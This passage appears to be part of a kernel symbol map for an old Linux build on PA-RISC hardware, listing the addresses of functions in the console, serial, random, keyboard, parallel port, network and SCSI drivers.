101893c8 t .L930
101893e0 t .L947
1018944c t .L908
10189460 t .L948
10189468 t .L949
10189470 t .L950
1018948c t .L951
10189494 t .L952
10189494 t mmap_zero
101894e8 t write_full
101894f0 t null_lseek
10189504 t memory_lseek
10189554 t open_port
1018958c t memory_open
10189668 T raw_open
10189788 T raw_release
101897d8 T raw_ctl_ioctl
101899bc T raw_read
101899f0 T raw_write
10189a24 t rw_raw_dev
10189cd4 t pty_close
10189cf8 t .L700
10189d88 t .L696
10189dc4 t .L710
10189ddc t .L711
10189ddc t pty_unthrottle
10189e4c t pty_write
10189ed4 t .L721
10189f80 t .L733
10189f98 t .L739
10189fac t .L740
10189fec t pty_write_room
1018a030 t pty_chars_in_buffer
1018a088 t pty_get_device_number
1018a0d4 t pty_set_lock
1018a154 t pty_bsd_ioctl
1018a178 t .L802
1018a18c t .L810
1018a1a0 t pty_unix98_ioctl
1018a1cc t .L811
1018a1e4 t .L819
1018a1f8 t pty_flush_buffer
1018a25c t pty_open
1018a324 t .L836
1018a358 t .L841
1018a358 t pty_set_termios
1018a384 t misc_read_proc
1018a4a4 t misc_open
1018a500 t .L698
1018a638 t .L740
1018a674 t .L748
1018a690 t .L711
1018a6c4 t .L714
1018a730 t .L749
1018a738 t .L750
1018a748 T misc_register
1018a748 t .L751
1018a7a0 t .L756
1018a838 t .L770
1018a84c t .L779
1018a898 t .L764
1018a8ac t .L780
1018a8b4 T misc_deregister
1018a8b4 t .L781
1018a8fc t .L786
1018a970 t .L790
1018a994 t .L792
1018a99c t .L793
1018a9a4 t create_entropy_store
1018aac0 t clear_entropy_store
1018aafc t free_entropy_store
1018ab30 t add_entropy_words
1018ac3c t credit_entropy_store
1018ac68 t batch_entropy_init
1018ad1c T batch_entropy_store
1018adec t batch_entropy_process
1018af34 t add_timer_randomness
1018b020 T add_keyboard_randomness
1018b05c T add_mouse_randomness
1018b080 T add_interrupt_randomness
1018b0bc T add_blkdev_randomness
1018b124 t SHATransform
1018b2d0 t extract_entropy
1018b5a0 t .L805
1018b604 t .L821
1018b628 T get_random_bytes
1018b65c t .L824
1018b690 t .L828
1018b690 t init_std_data
1018b74c T rand_initialize_irq
1018b7b8 T rand_initialize_blkdev
1018b820 t random_read
1018b9d0 t urandom_read
1018b9f4 t random_poll
1018bab0 t random_write
1018baf0 t .L901
1018bb40 t .L910
1018bba8 t random_ioctl
1018bc40 t .L1106
1018be78 t .L1115
1018bf1c t .L1116
1018bf74 T generate_random_uuid
1018bfb4 t change_poolsize
1018c034 t proc_do_poolsize
1018c088 t .L1121
1018c0bc t .L1125
1018c0bc t poolsize_strategy
1018c12c t .L1126
1018c160 t .L1131
1018c160 t proc_do_uuid
1018c1a0 t .L1134
1018c278 t .L1137
1018c284 t uuid_strategy
1018c2f8 t .L1141
1018c370 t .L1189
1018c37c t sysctl_init_random
1018c3b8 t halfMD4Transform
1018c6c4 T secure_tcp_sequence_number
1018c7dc T secure_ip_id
1018c848 T _kd_mksound
1018c84c T vt_ioctl
1018c95c t .L901
1018ca30 t .L1569
1018ca5c t .L920
1018ca98 t .L1616
1018caa0 t .L1617
1018cb24 t .L1618
1018cb7c t .L1619
1018cbf4 t .L1620
1018cbfc t .L1621
1018cc6c t .L1008
1018cd34 t .L1622
1018cf40 t .L1047
1018d05c t .L1623
1018d3ac t .L1624
1018d528 t .L1625
1018d570 t .L940
1018d5a0 t .L1626
1018d5b8 t .L1627
1018d770 t .L1628
1018d7a0 t .L1629
1018d8e0 t .L1630
1018d8f4 t .L1631
1018d8fc t .L1632
1018d904 t .L1633
1018dc54 t .L1634
1018dc90 t .L1264
1018dcc0 t .L1635
1018dce0 t .L1636
1018dfac t .L1637
1018e0c0 t .L1562
1018e14c T vt_waitactive
1018e254 T reset_vc
1018e2dc T complete_change_console
1018e33c t .L1655
1018e360 t .L1657
1018e398 t .L1663
1018e3b8 T change_console
1018e3b8 t .L1664
1018e3f8 t .L1665
1018e43c t .L1669
1018e45c t .L1675
1018e47c t .L1676
1018e48c t vcs_size
1018e508 t vcs_lseek
1018e5c8 t vcs_read
1018e648 t .L739
1018e6f0 t .L781
1018e74c t .L790
1018e99c t .L791
1018e99c t vcs_write
1018ea28 t .L794
1018eaa0 t .L841
1018eafc t .L858
1018eb08 t .L802
1018ec08 t .L821
1018ed60 t .L859
1018eda4 t .L860
1018ee70 t .L861
1018ee70 t vcs_open
1018eeac T vcs_make_devfs
1018eeb0 t set_inverse_transl
1018ef88 T set_translate
1018efac T inverse_translate
1018eff0 t update_user_maps
1018f07c T con_set_trans_old
1018f0f8 T con_get_trans_old
1018f1e0 T con_set_trans_new
1018f25c T con_get_trans_new
1018f2c4 t con_release_unimap
1018f3ac T con_free_unimap
1018f3e4 t .L830
1018f404 t .L834
1018f404 t con_unify_unimap
1018f5cc t con_insert_unipair
1018f614 t .L879
1018f680 t .L884
1018f6bc T con_clear_unimap
1018f748 t .L891
1018f794 t .L896
1018f79c T con_set_unimap
1018fa10 T con_set_default_unimap
1018fba0 T con_copy_unimap
1018fc34 T con_get_unimap
1018fdb4 T con_protect_unimap
1018fdd4 T conv_uni_to_pc
1018fe74 t scrup
1018ffc4 t scrdown
101900f4 t do_update_region
1019031c T update_region
10190350 t .L793
10190388 t .L795
10190388 t build_attr
101904a8 t update_attr
10190550 T invert_screen
101905ec t .L839
10190618 t .L846
10190728 T complement_pos
10190898 t insert_char
10190a20 t delete_char
10190bb4 t add_softcursor
10190c98 t hide_cursor
10190cc8 t .L910
10190d7c t .L917
10190d7c t set_cursor
10190d9c t .L918
10190df4 t .L922
10190e30 t .L928
10190e38 t .L929
10190e38 t set_origin
10190efc T redraw_screen
10190fc0 t .L947
101910ec t .L956
1019114c T vc_cons_allocated
10191170 t visual_init
10191294 T vc_allocate
101913c8 T vc_resize
101916e4 t .L1004
1019174c t .L1044
101917d4 T vc_disallocate
10191840 t gotoxy
10191914 t gotoxay
10191954 T scrollback
101919f0 T scrollfront
10191a8c t lf
10191af0 t .L1078
10191b20 t .L1081
10191b20 t ri
10191b7c t .L1084
10191bac t .L1087
10191bac t csi_J
10191de0 t csi_K
10191f64 t csi_X
1019201c t default_attr
10192078 t csi_m
1019248c t respond_string
10192598 t cursor_report
10192618 T mouse_report
1019267c T mouse_reporting
1019269c t set_mode
10192708 t .L1256
10192798 t .L1296
101927cc t .L1297
101928dc t setterm_command
101929bc t .L1326
101929c4 t .L1299
10192a44 t .L1344
10192a8c t .L1345
10192bcc t insert_line
10192c14 t delete_line
10192c5c t csi_at
10192ca4 t csi_L
10192cec t csi_P
10192d34 t csi_M
10192d7c t save_cur
10192e40 t restore_cur
10192f74 t reset_terminal
10193234 t do_con_trol
1019352c t .L1374
101935a4 t .L1762
101935e0 t .L1763
1019361c t .L1764
10193630 t .L1765
101937c8 t .L1766
10193a00 t .L1767
10193a14 t .L1768
10193aac t .L1769
10193ae8 t .L1770
10193b08 t .L1771
10193b1c t .L1772
10193b30 t .L1773
10193b44 t .L1774
10193b58 t .L1775
10193b6c t .L1776
10193b74 t .L1777
10193ba4 t .L1778
10193bd4 t .L1779
10193c04 t .L1780
10193c34 t .L1781
10193c84 t .L1782
10193ce8 t .L1783
10193d1c t .L1784
10193d7c t .L1785
10193da0 t .L1786
10193da8 t .L1787
10193dd0 t .L1788
10193e50 t .L1789
10193e60 t .L1790
10193ef8 t .L1791
10194078 t .L1792
1019421c t .L1591
10194478 t do_con_write
10194520 t .L1798
10194584 t .L1860
101945e0 t .L1892
10194630 t .L1806
101946e4 t .L1807
10194a04 t .L1893
10194a94 t .L1894
10194a9c t .L1895
10194ab0 t .L1795
10194ad0 t .L1896
10194ad0 t console_softint
10194be0 T vt_console_print
10194d08 t .L1916
10194d30 t .L1918
10194e58 t .L1951
10194f84 t .L1952
10194f84 t vt_console_device
10194fb0 T tioclinux
10194fd8 t .L1957
101950b0 t .L2083
101950b8 t .L2084
101950d0 t .L2085
101951e0 t con_write
10195214 t con_put_char
1019523c t con_write_room
1019524c t con_chars_in_buffer
10195254 t con_throttle
10195258 t con_unthrottle
10195280 t con_stop
10195338 t con_start
101953f0 t con_flush_chars
10195418 t con_open
1019549c t .L2114
101954ac t .L2118
101954c8 t con_close
1019550c t vc_init
10195680 t clear_buffer_attributes
101956dc T take_over_console
101957f4 t .L2168
10195814 t .L2177
1019585c t .L2163
101958b0 t .L2189
101958c4 t .L2190
101958cc t .L2191
101958e8 T give_up_console
1019591c t set_vesa_blanking
1019596c t vesa_powerdown
101959dc t vesa_powerdown_screen
10195a04 t timer_do_blank_screen
10195a4c t .L2243
10195ad8 t .L2263
10195b0c t .L2248
10195be4 t .L2251
10195c00 t .L2264
10195c10 T do_blank_screen
10195c10 t .L2265
10195c2c t unblank_screen_t
10195c44 T unblank_screen
10195d04 t .L2268
10195d2c t .L2275
10195d30 t blank_screen
10195d50 T poke_blanked_console
10195db0 t .L2277
10195de0 T set_palette
10195de0 t .L2282
10195e38 t set_get_cmap
10196054 T con_set_cmap
10196070 T con_get_cmap
1019608c T reset_palette
10196128 T con_font_op
10196430 T screen_glyph
101964b4 T screen_pos
10196520 T getconsxy
10196548 T putconsxy
1019657c T vcs_scr_readw
101965b4 T vcs_scr_writew
101965d8 t .L2545
101965f8 t .L2547
101965f8 t pm_con_request
1019660c t .L2549
10196624 t .L2555
1019662c t .L2556
1019662c t sel_pos
1019666c T clear_selection
101966d4 T sel_loadlut
10196708 T set_selection
1019689c t .L843
101969d8 t .L805
10196b08 t .L864
10196b20 t .L865
10196b4c t .L866
10196b60 t .L867
10196b80 t .L868
10196d98 t .L869
10196da0 t .L870
10196df4 T paste_selection
10196f74 t serial_in
10196f90 t .L686
10196fb8 t .L692
10196fb8 t serial_out
10196fe4 t .L694
1019700c T serial_icr_write
1019700c t .L699
1019704c T serial_icr_read
101970b4 t rs_stop
10197104 t .L706
10197130 t .L708
10197130 t rs_start
10197178 t .L712
1019718c t .L713
101971b8 t .L716
101971c4 t .L717
101971c4 t rs_sched_event
10197294 t receive_chars
10197598 t transmit_chars
101975dc t .L770
10197624 t .L786
101976c8 t .L787
101976c8 t check_modem_status
10197764 t .L804
101977a8 t .L788
101977e4 t .L806
1019780c t .L807
1019780c t rs_interrupt
10197874 t .L816
10197918 t .L825
10197918 t rs_interrupt_single
101979e4 t do_serial_bh
10197a14 t do_softint
10197a84 t rs_timer
10197b38 t .L858
10197be4 t .L865
10197bec t figure_IRQ_timeout
10197c64 t enable_rsa
10197ce8 t disable_rsa
10197d68 t startup
10197e90 t .L899
101983b8 t .L963
101983f8 t shutdown
10198480 t .L969
101985e4 t .L983
1019861c t .L989
10198694 t .L990
1019869c t .L991
101986b4 t change_speed
101987b4 t .L1010
10198aa4 t .L1051
10198b2c t .L1078
10198c20 t .L1079
10198c58 t .L1080
10198c64 t .L1081
10198cc4 t rs_put_char
10198d20 t rs_flush_chars
10198d88 t rs_write
10198e14 t .L1103
10198ee8 t .L1118
10198f04 t .L1128
10198f60 t .L1135
10198f68 t .L1136
10198f70 t .L1137
10199014 t rs_write_room
1019902c t rs_chars_in_buffer
10199044 t rs_flush_buffer
101990a4 t rs_send_xchar
101990e8 t rs_throttle
10199158 t rs_unthrottle
10199184 t .L1164
101991d8 t .L1165
101991dc t get_serial_info
101992c4 t set_serial_info
101994e8 t .L1197
1019955c t .L1183
10199674 t .L1240
101996a0 t .L1241
10199780 t get_lsr_info
10199838 t get_modem_info
10199940 t set_modem_info
10199b04 t do_autoconfig
10199ba4 t rs_break
10199c10 t rs_ioctl
10199cac t .L1304
10199f4c t .L1423
10199f5c t .L1424
10199f68 t .L1425
10199f74 t .L1426
10199f7c t .L1427
10199fa4 t .L1428
1019a1dc t rs_set_termios
1019a254 t .L1429
1019a288 t .L1445
1019a340 t rs_close
1019a380 t .L1446
1019a540 t .L1471
1019a574 t rs_wait_until_sent
1019a6bc t rs_hangup
1019a6e4 t .L1497
1019a728 t .L1502
1019a728 t block_til_ready
1019a8b4 t .L1526
1019a8c8 t .L1527
1019a978 t .L1563
1019a9d0 t .L1564
1019aa5c t get_async_struct
1019abd8 t rs_open
1019ac80 t .L1580
1019ad14 t .L1595
1019ad30 t .L1598
1019ad74 t .L1612
1019adc0 t .L1613
1019adf0 t .L1614
1019adf8 T rs_read_proc
1019b088 t .L1662
1019b1a0 t .L1665
1019b1a4 t show_serial_version
1019b1f4 t detect_uart_irq
1019b348 t .L1672
1019b454 t .L1676
1019b454 t size_fifo
1019b638 t autoconfig_startech_uarts
1019b7d4 t autoconfig
1019b908 t .L1730
1019b970 t .L1739
1019b9f8 t .L1765
1019bae0 t .L1726
1019bb38 t .L1766
1019bb98 t .L1767
1019bcac t get_pci_port
1019be40 t get_pci_irq
1019be78 t serial_pci_guess_board
1019bf04 T register_serial
1019bfbc t .L1993
1019c13c t .L2003
1019c1b4 T unregister_serial
1019c264 t serial_console_write
1019c348 t .L2043
1019c444 t .L2067
1019c444 t serial_console_wait_key
1019c4d8 t serial_console_device
1019c4ec T keyboard_wait_for_keypress
1019c510 T to_utf8
1019c530 t .L701
1019c58c T setkeycode
1019c58c t .L705
1019c5b4 T getkeycode
1019c5dc T handle_scancode
1019c7a8 t .L727
1019c86c t .L708
1019c8d8 t .L755
1019c918 t .L756
1019c938 t .L757
1019ca08 T put_queue
1019cb40 t puts_queue
1019cc94 t applkey
1019ccdc t enter
1019cd34 t caps_toggle
1019cd68 t caps_on
1019cd98 t show_ptregs
1019cdc4 t hold
1019cdd8 t .L802
1019ce08 t .L809
1019ce10 t .L810
1019ce10 t num
1019ce38 t .L814
1019ce4c t .L815
1019ce4c t bare_num
1019ce80 t lastcons
1019cef8 t decr_console
1019cfbc t incr_console
1019d080 t send_intr
1019d18c t scroll_forw
1019d1a8 t scroll_back
1019d1c4 t boot_it
1019d1dc t compose
1019d1ec t spawn_console
1019d22c t SAK
1019d258 t do_ignore
1019d25c t do_null
1019d274 t do_spec
1019d2e8 t do_lowercase
1019d308 t do_self
1019d324 t .L877
1019d36c t .L882
1019d36c t do_dead
1019d398 t do_dead2
1019d3dc t handle_diacr
1019d470 t do_cons
1019d4f0 t do_fn
1019d504 t .L910
1019d52c t .L916
1019d52c t do_pad
1019d544 t .L917
1019d5c0 t .L970
1019d69c t .L971
1019d6b8 t .L972
1019d6c4 t .L973
1019d6dc t .L974
1019d6e0 t do_cur
1019d6f4 t .L975
1019d728 t .L979
1019d728 t do_shift
1019d7e8 t .L991
1019d800 t .L998
1019d854 T compute_shiftstate
1019d980 t do_meta
1019d994 t .L1023
1019d9c8 t .L1029
1019d9d8 t .L1030
1019d9d8 t do_ascii
1019da30 t do_lock
1019da6c t do_slock
1019db0c T getledstate
1019db18 T setledstate
1019dbac T register_leds
1019dc10 t kbd_bh
1019dd50 t write_output
1019dda0 t .L640
1019dddc t .L649
1019dddc t lasikbd_leds
1019de2c T lasi_ps2_reset
1019de88 t lasi_ps2_init_hw
1019dea0 t handle_lasikbd_event
1019deb4 t .L655
1019deec t .L667
1019df68 t lasikbd_interrupt
1019df94 T lasikbd_request_irq
1019dfe4 T pckbd_setkeycode
1019e034 T pckbd_getkeycode
1019e070 T pckbd_translate
1019e138 t .L694
1019e13c t .L708
1019e150 t .L711
1019e1a0 t .L712
1019e1e0 T kbd_reset_setup
1019e1e0 t .L713
1019e1e4 T handle_at_scancode
1019e244 t .L731
1019e2c4 t .L750
1019e3c0 t poll_finished
1019e3dc t .L613
1019e408 t .L618
1019e408 t hil_interrupt
1019e450 t .L628
1019e4c4 t .L641
1019e4f8 t hil_do
1019e5c4 t def_translate
1019e5d0 t def_unexpected_up
1019e5d8 t def_leds
1019e5dc t def_init_hw
1019e5e0 t send_sig_all
1019e678 T handle_sysrq
1019e938 t .L697
1019e970 t .L794
1019e984 t .L795
1019e9b4 t .L796
1019e9dc t .L797
1019e9f8 t .L798
1019ea08 t .L799
1019ea4c t .L800
1019eaa0 t .L801
1019eac0 t .L802
1019eae0 t .L803
1019eae4 t is_local_disk
1019ed2c t go_sync
1019ed84 t .L890
1019ee2c t .L914
1019ee8c t .L915
1019ee98 T do_emergency_sync
1019ef20 t .L926
1019ef6c t .L934
1019ef6c t lp_reset
1019f068 t lp_error
1019f0a0 t .L728
1019f0d4 t .L730
1019f0f4 t .L738
1019f134 t .L739
1019f13c t .L740
1019f13c t lp_check_status
1019f264 t lp_write
1019f3ec t .L791
1019f400 t .L799
1019f48c t .L782
1019f4ec t .L800
1019f50c t lp_open
1019f6ac t lp_release
1019f710 t lp_ioctl
1019f810 t .L826
1019f9a0 t .L872
1019fa50 t lp_register
1019fb54 t lp_attach
1019fb8c t .L902
1019fba8 t .L926
1019fc08 t lp_detach
1019fc0c t get_hw_time
1019ff44 t set_hw_time
101a003c t gen_do_uie_timer
101a0088 t gen_rtc_llseek
101a0094 t gen_rtc_read
101a0144 t .L719
101a01bc t .L778
101a01bc t gen_rtc_ioctl
101a02f4 t gen_rtc_open
101a0324 t gen_rtc_release
101a0364 T t21142_timer
101a03fc t .L895
101a0470 t .L916
101a04fc t .L908
101a05e4 t .L917
101a061c t .L918
101a0620 T t21142_start_nway
101a0744 t .L930
101a0774 t .L934
101a0794 T t21142_lnk_change
101a086c t .L962
101a0938 t .L994
101a096c t .L995
101a09e4 t .L996
101a0a94 t .L947
101a0ae0 t .L957
101a0b3c t .L997
101a0b74 t .L998
101a0b9c t .L999
101a0be4 T tulip_parse_eeprom
101a0c9c t .L891
101a0e64 t .L878
101a11bc t .L982
101a1218 t .L983
101a128c t .L984
101a12b0 T tulip_read_eeprom
101a1414 t tulip_refill_rx
101a1544 t tulip_rx
101a16b0 t .L904
101a18c4 t .L955
101a1994 T tulip_interrupt
101a2154 T tulip_mdio_read
101a2268 t .L878
101a22a4 t .L924
101a22c4 t .L925
101a22d0 t .L926
101a2328 T tulip_mdio_write
101a2424 t .L927
101a2460 t .L968
101a2484 t .L969
101a2494 t .L970
101a24c4 T tulip_select_media
101a25d8 t .L973
101a2610 t .L1045
101a278c t .L1127
101a298c t .L994
101a2a5c t .L1128
101a2ba4 t .L1129
101a2c84 t .L1071
101a2ca8 t .L1130
101a2cc0 t .L1131
101a2d34 t .L1132
101a2d6c t .L1133
101a2da0 t .L1134
101a2dc4 t .L1135
101a2e94 t .L1136
101a2e98 T tulip_check_duplex
101a30a0 T pnic_do_nway
101a3204 T pnic_lnk_change
101a3304 t .L901
101a3364 T pnic_timer
101a3364 t .L905
101a33d4 t .L909
101a34ec t .L935
101a3548 t .L918
101a35d4 t .L936
101a362c t .L937
101a3654 t .L938
101a3658 T tulip_timer
101a3940 t .L980
101a39a0 t .L1010
101a3b18 t .L1011
101a3bfc t .L1012
101a3cb8 t .L1013
101a3cbc T mxic_timer
101a3d24 T comet_timer
101a3dac t tulip_up
101a3f24 t .L910
101a4008 t .L917
101a40b0 t .L946
101a4304 t .L999
101a43e8 t .L1000
101a4450 t .L1001
101a4474 t .L1002
101a44cc t .L1003
101a4504 t .L1004
101a45d8 t tulip_open
101a4648 t tulip_tx_timeout
101a46ac t .L1015
101a46f8 t .L1020
101a482c t .L1048
101a4914 t .L1049
101a497c t .L1050
101a4980 t tulip_init_ring
101a4bd4 t tulip_start_xmit
101a4d20 t tulip_down
101a4d94 t .L1114
101a4e04 t .L1120
101a4e04 t tulip_close
101a4f30 t .L1126
101a4fac t .L1138
101a4ff4 t .L1150
101a4ffc t .L1151
101a4ffc t tulip_get_stats
101a504c t private_ioctl
101a52a8 t build_setup_frame_hash
101a5418 t build_setup_frame_perfect
101a54e4 t set_rx_mode
101a5564 t .L1274
101a56f0 t .L1336
101a571c t .L1303
101a58b4 t .L1337
101a58b4 t tulip_init_one
101a5940 t .L1339
101a5a80 t .L1368
101a5a9c t .L1353
101a5aac t .L1569
101a5c24 t .L1377
101a5fb4 t .L1480
101a615c t .L1494
101a6228 t .L1615
101a6284 t .L1616
101a63e8 t .L1617
101a6610 t .L1618
101a6620 t .L1619
101a6680 t .L1620
101a66c8 t .L1621
101a6708 t .L1622
101a6774 t .L1623
101a6784 t .L1624
101a679c t .L1625
101a679c t tulip_suspend
101a6818 t tulip_resume
101a6844 t .L1637
101a68e8 t .L1652
101a6920 t tulip_remove_one
101a69e0 t init_alloc_dev
101a6a5c t init_netdev
101a6b3c T init_etherdev
101a6b64 t eth_mac_addr
101a6ba0 t eth_change_mtu
101a6bbc T ether_setup
101a6c54 T ether_config
101a6cac T register_netdev
101a6d44 T unregister_netdev
101a6d70 t loopback_xmit
101a6ddc t .L1036
101a6e5c t .L1041
101a6e88 t .L1031
101a6e98 t .L1042
101a6eb4 t get_stats
101a6ebc t i596_display_data
101a7044 t .L1009
101a7064 t .L1017
101a7064 t rebuild_rx_bufs
101a7108 t .L1052
101a711c t .L1058
101a711c t init_i596_mem
101a7240 t .L1067
101a72c0 t .L1074
101a7310 t .L1075
101a73f4 t .L1084
101a743c t .L1088
101a7484 t .L1092
101a74bc t .L1096
101a74d8 t .L1101
101a7528 t .L1102
101a7594 t .L1112
101a75b4 t .L1118
101a7604 t .L1119
101a7680 t .L1155
101a768c t .L1156
101a7698 t .L1157
101a76d0 t .L1158
101a76dc t .L1159
101a76ec t .L1160
101a76fc t .L1161
101a770c t .L1162
101a7718 t .L1163
101a7748 t .L1164
101a7754 t .L1165
101a7778 t .L1166
101a7778 t i596_add_cmd
101a7818 t .L1337
101a7850 t .L1345
101a78cc t .L1363
101a7920 t .L1364
101a7938 t .L1369
101a7968 t .L1371
101a7984 t .L1372
101a79d8 t .L1373
101a79f0 t .L1378
101a7a48 t .L1379
101a7a5c t .L1389
101a7ab0 t .L1390
101a7ac8 t .L1395
101a7ae0 t .L1396
101a7b10 t .L1398
101a7b4c t .L1402
101a7cac t .L1361
101a7cbc t .L1415
101a7d14 t .L1426
101a7d54 t .L1428
101a7d60 t .L1399
101a7df4 t .L1471
101a7e1c t .L1472
101a7e28 t .L1473
101a7eb0 t .L1474
101a7edc t .L1475
101a7fec t .L1476
101a7ffc t .L1477
101a8008 t .L1478
101a8030 t .L1479
101a803c t .L1480
101a804c t .L1481
101a8054 t .L1482
101a80a0 t .L1386
101a80d0 t .L1483
101a80f8 t .L1484
101a8104 t .L1485
101a8110 t .L1486
101a811c t .L1487
101a8144 t .L1488
101a8150 t .L1489
101a815c t .L1490
101a816c t .L1491
101a817c t .L1346
101a81d0 t .L1347
101a81e8 t .L1353
101a8214 t .L1354
101a8228 t .L1492
101a8234 t .L1493
101a825c t .L1494
101a8268 t .L1495
101a8274 t .L1496
101a8280 t .L1497
101a8280 t i596_open
101a8304 t .L1524
101a8528 t .L1512
101a85b4 t .L1521
101a85c8 t .L1529
101a85d8 t .L1530
101a861c t .L1531
101a8628 t i596_tx_timeout
101a86e4 t .L1609
101a8700 t .L1607
101a87dc t .L1649
101a8820 t .L1538
101a8878 t .L1539
101a8890 t .L1544
101a88c4 t .L1546
101a88e0 t .L1547
101a8938 t .L1548
101a8950 t .L1553
101a89a8 t .L1554
101a89bc t .L1564
101a8a14 t .L1565
101a8a2c t .L1570
101a8a44 t .L1571
101a8a74 t .L1573
101a8ab0 t .L1577
101a8c14 t .L1536
101a8c24 t .L1590
101a8c7c t .L1601
101a8cbc t .L1603
101a8cc8 t .L1574
101a8d10 t .L1650
101a8d20 t .L1651
101a8d48 t .L1652
101a8d54 t .L1653
101a8ddc t .L1654
101a8e08 t .L1655
101a8f18 t .L1656
101a8f28 t .L1657
101a8f34 t .L1658
101a8f5c t .L1659
101a8f68 t .L1660
101a8f78 t .L1661
101a8f80 t .L1662
101a8fcc t .L1561
101a8ffc t .L1663
101a9024 t .L1664
101a9030 t .L1665
101a903c t .L1666
101a9048 t .L1667
101a9070 t .L1668
101a907c t .L1669
101a9088 t .L1670
101a9088 t i596_start_xmit
101a917c t .L1680
101a91cc t .L1693
101a9278 t .L1686
101a92c4 t .L1694
101a92cc t print_eth
101a9374 t i596_interrupt
101a93e0 t .L1752
101a9434 t .L1753
101a944c t .L1759
101a955c t .L1777
101a9570 t .L1801
101a9590 t .L1922
101a95c0 t .L1923
101a9620 t .L1924
101a9770 t .L1805
101a97b4 t .L1764
101a9818 t .L1822
101a9854 t .L1826
101a99b4 t .L1820
101a99c4 t .L1839
101a9a1c t .L1850
101a9a5c t .L1852
101a9a68 t .L1823
101a9af4 t .L1861
101a9b48 t .L1862
101a9b60 t .L1868
101a9b74 t .L1869
101a9b90 t .L1872
101a9be4 t .L1873
101a9bfc t .L1879
101a9c14 t .L1750
101a9c84 t .L1925
101a9c90 t .L1926
101a9c9c t .L1927
101a9ca8 t .L1928
101a9ccc t .L1929
101a9cd8 t .L1930
101a9ce4 t .L1931
101a9cf4 t .L1932
101a9d1c t .L1933
101a9d28 t .L1934
101a9db0 t .L1935
101a9ddc t .L1936
101a9eec t .L1937
101a9efc t .L1938
101a9f0c t .L1939
101a9f14 t .L1940
101a9f40 t .L1941
101a9f64 t .L1942
101a9f70 t .L1943
101a9f80 t .L1944
101a9f94 t .L1945
101a9f98 t i596_close
101aa01c t .L1949
101aa070 t .L1950
101aa088 t .L1956
101aa0a0 t .L1957
101aa0bc t .L1960
101aa110 t .L1961
101aa128 t .L1967
101aa190 t .L1969
101aa1a4 t .L1979
101aa1f8 t .L1980
101aa210 t .L1985
101aa224 t .L1986
101aa2b4 t .L1992
101aa318 t .L2015
101aa324 t .L2016
101aa34c t .L2017
101aa358 t .L2018
101aa368 t .L2019
101aa370 t .L2020
101aa3bc t .L1976
101aa3ec t .L2021
101aa414 t .L2022
101aa420 t .L2023
101aa42c t .L2024
101aa438 t .L2025
101aa460 t .L2026
101aa46c t .L2027
101aa478 t .L2028
101aa478 t i596_get_stats
101aa484 t set_multicast_list
101aa55c t .L2040
101aa658 t .L2055
101aa694 t .L2069
101aa6ac t .L2043
101aa6bc t .L2070
101aa6cc t .L2071
101aa728 T autoirq_setup
101aa748 T autoirq_report
101aa788 t dead_write_lines
101aa78c t dead_read_lines
101aa794 t dead_frob_lines
101aa79c t dead_onearg
101aa7a0 t dead_initstate
101aa7a4 t dead_state
101aa7a8 t dead_noargs
101aa7ac t dead_write
101aa7b4 t dead_read
101aa7bc t attach_driver_chain
101aa884 t .L695
101aa8ac t .L720
101aa8b0 t detach_driver_chain
101aa8f8 t get_lowlevel_driver
101aa8fc T parport_register_driver
101aa92c t .L733
101aa9cc t .L741
101aaa10 t .L762
101aaa18 T parport_unregister_driver
101aaa18 t .L763
101aaaa8 t free_port
101aab74 T parport_get_port
101aab98 T parport_put_port
101aabc4 t .L798
101aabd8 T parport_enumerate
101aabd8 t .L802
101aabec t .L804
101aac04 T parport_register_port
101aac04 t .L806
101aae18 T parport_announce_port
101aae30 T parport_unregister_port
101aae8c t .L853
101aaec0 t .L856
101aaed8 T parport_register_device
101aaf28 t .L873
101aaf7c t .L874
101ab02c t .L864
101ab034 t .L862
101ab058 t .L875
101ab0f4 t .L876
101ab10c t .L877
101ab110 T parport_unregister_device
101ab13c t .L879
101ab1d0 T parport_find_number
101ab1d0 t .L886
101ab210 T parport_find_base
101ab250 T parport_claim
101ab3fc T parport_claim_or_block
101ab460 T parport_release
101ab4a0 t .L946
101ab514 t .L955
101ab5ac t .L978
101ab5d4 t .L979
101ab5d8 t parport_parse_params
101ab73c T parport_parse_irqs
101ab764 T parport_parse_dmas
101ab790 T parport_ieee1284_wakeup
101ab7b8 t .L686
101ab7d0 t .L688
101ab7d4 t timeout_waiting_on_port
101ab7fc T parport_wait_event
101ab8f0 T parport_poll_peripheral
101ab9dc T parport_wait_peripheral
101abaf4 t .L716
101abb18 t .L735
101abb20 T parport_negotiate
101abb54 T parport_ieee1284_interrupt
101abb70 T parport_write
101abb9c T parport_read
101abbc0 T parport_set_timeout
101abbe8 t .L742
101abc00 T parport_ieee1284_write_compat
101abc00 t .L744
101abd48 t .L682
101abdbc t .L716
101abee0 t .L673
101abf14 t .L705
101abf34 t .L717
101abf48 T parport_ieee1284_read_nibble
101abf48 t .L718
101abf50 T parport_ieee1284_read_byte
101abf58 T parport_ieee1284_ecp_write_data
101abf60 T parport_ieee1284_ecp_read_data
101abf68 T parport_ieee1284_ecp_write_addr
101abf70 T parport_ieee1284_epp_write_data
101ac090 T parport_ieee1284_epp_read_data
101ac1a8 T parport_ieee1284_epp_write_addr
101ac2c8 T parport_ieee1284_epp_read_addr
101ac3e0 T inc_parport_count
101ac3e4 T dec_parport_count
101ac3e8 t do_active_device
101ac520 t do_hardware_base_addr
101ac5f0 t do_hardware_irq
101ac6bc t do_hardware_dma
101ac788 t do_hardware_modes
101ac9ec T parport_proc_register
101acaf0 T parport_proc_unregister
101acb24 T parport_device_proc_register
101acc08 T parport_device_proc_unregister
101acc3c T parport_default_proc_register
101acc6c T parport_default_proc_unregister
101acca4 t clear_epp_timeout
101acd3c t parport_gsc_interrupt
101acd98 T parport_gsc_init_state
101acdb0 T parport_gsc_save_state
101acdd8 T parport_gsc_restore_state
101ace00 T parport_gsc_inc_use_count
101ace04 T parport_gsc_dec_use_count
101ace08 t parport_SPP_supported
101acf00 t parport_PS2_supported
101acffc T parport_gsc_probe_port
101ad3dc T parport_gsc_write_data
101ad404 T parport_gsc_read_data
101ad420 T parport_gsc_data_reverse
101ad468 T parport_gsc_data_forward
101ad4b0 T parport_gsc_write_control
101ad54c T parport_gsc_read_control
101ad560 T parport_gsc_frob_control
101ad638 T parport_gsc_read_status
101ad658 T parport_gsc_disable_irq
101ad6a0 T parport_gsc_enable_irq
101ad6e8 T scsi_initialize_queue
101ad72c t scsi_wait_done
101ad764 t .L888
101ad77c t .L891
101ad780 T scsi_allocate_request
101ad7fc T scsi_release_request
101ad834 T scsi_allocate_device
101adac8 T scsi_release_command
101adbb8 t .L974
101adbc8 t .L977
101adbcc T scsi_dispatch_cmd
